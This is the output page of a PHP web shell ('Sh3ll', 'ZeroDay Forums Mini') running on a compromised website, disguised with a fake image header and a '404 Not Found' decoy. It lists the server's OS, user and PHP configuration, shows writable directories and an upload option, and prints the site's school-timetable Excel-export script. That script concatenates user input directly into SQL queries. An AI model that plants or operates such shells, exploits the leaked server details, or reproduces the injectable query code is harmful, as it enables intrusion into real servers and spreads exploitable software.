����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/lib/office/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/lib/office/test_phpexcel.php
<?php
$v_school_id = (isset($CORE->input["txt_school_id"])) ? $CORE->input["txt_school_id"] : $_SESSION["school_id"];
$v_where_clause = "  AND SCHOOL_ID='".$v_school_id."' ";
$txt_date = isset($CORE->input['txt_lcb_date']) ? trim($CORE->input['txt_lcb_date']) : date("Y-m-d");
if(isset($CORE->input['type']) and $CORE->input['type'] == 'update_status'){
    $arr_status = $CORE->input['t_status'];
    $arr_total  = $CORE->input['total_id'];

    $time = date('Y-m-d h:m:s',time());
    foreach($arr_total as $val){
       if(in_array($val,$arr_status)){
           $DB->query("UPDATE `TB_TIET` SET `TIET_STATUS`='0', LAST_UPDATE_TIME = '$time' WHERE `TIET_ID`='$val' ");

       }else{
           $DB->query("UPDATE `TB_TIET` SET `TIET_STATUS`='1', LAST_UPDATE_TIME = '' WHERE `TIET_ID`='$val' ");

       }
    }

}

if(isset($CORE->input['submitbt_excel'])){

    ob_clean();//very
    require 'classes/PHPExcel.php';
    $headings = array('Giáo viên','Tiết','Lớp','Status(0:dạy/1:nghỉ)');

    // Create a new PHPExcel object
    $objPHPExcel = new PHPExcel();
    $objPHPExcel->getActiveSheet()->setTitle('List-Subjects-Date-'.$txt_date);
    $rowNumber = 1;
    $col = 'A';

    foreach($headings as $heading) {
        $objPHPExcel->getActiveSheet()->setCellValue($col.$rowNumber,$heading);
        $col++;
    }

    $q_excel = $DB->query("SELECT * FROM TB_TIET WHERE TIET_DATE='$txt_date' ".$v_where_clause."");
    $rowNumber = 2;
    $col = 'A';
    $i = 1;
    while($r_excel = $DB->fetch_row($q_excel)){

        //$cell is value

        //TEACHER
        $objPHPExcel->getActiveSheet()->setCellValue('A'.$rowNumber,get_teacher_name($r_excel['TEACHER_ID']));
        $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(30);
       //TIET
        $objPHPExcel->getActiveSheet()->setCellValue('B'.$rowNumber,get_subject_name($r_excel['SUBJECT_ID']));
        $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(10);
        //LOP
        $objPHPExcel->getActiveSheet()->setCellValue('C'.$rowNumber,get_class_level($r_excel['CLASS_ID']).get_class_name($r_excel['CLASS_ID']));


        //STATUS
        $objPHPExcel->getActiveSheet()->setCellValue('D'.$rowNumber,$r_excel['TIET_STATUS']);
        $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(25);

        $rowNumber++;
    }

    // Freeze pane so that the heading line won't scroll
    $objPHPExcel->getActiveSheet()->freezePane('A2');

// Save as an Excel BIFF (xls) file
    $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');

    header('Content-Type: application/vnd.ms-excel; charset=utf-8');
    header('Content-Disposition: attachment;filename="List-Subject-Date-'.$txt_date.'.xls"');
    header('Cache-Control: max-age=0');
    $objWriter->save('php://output');
    exit();

}

?>

ZeroDay Forums Mini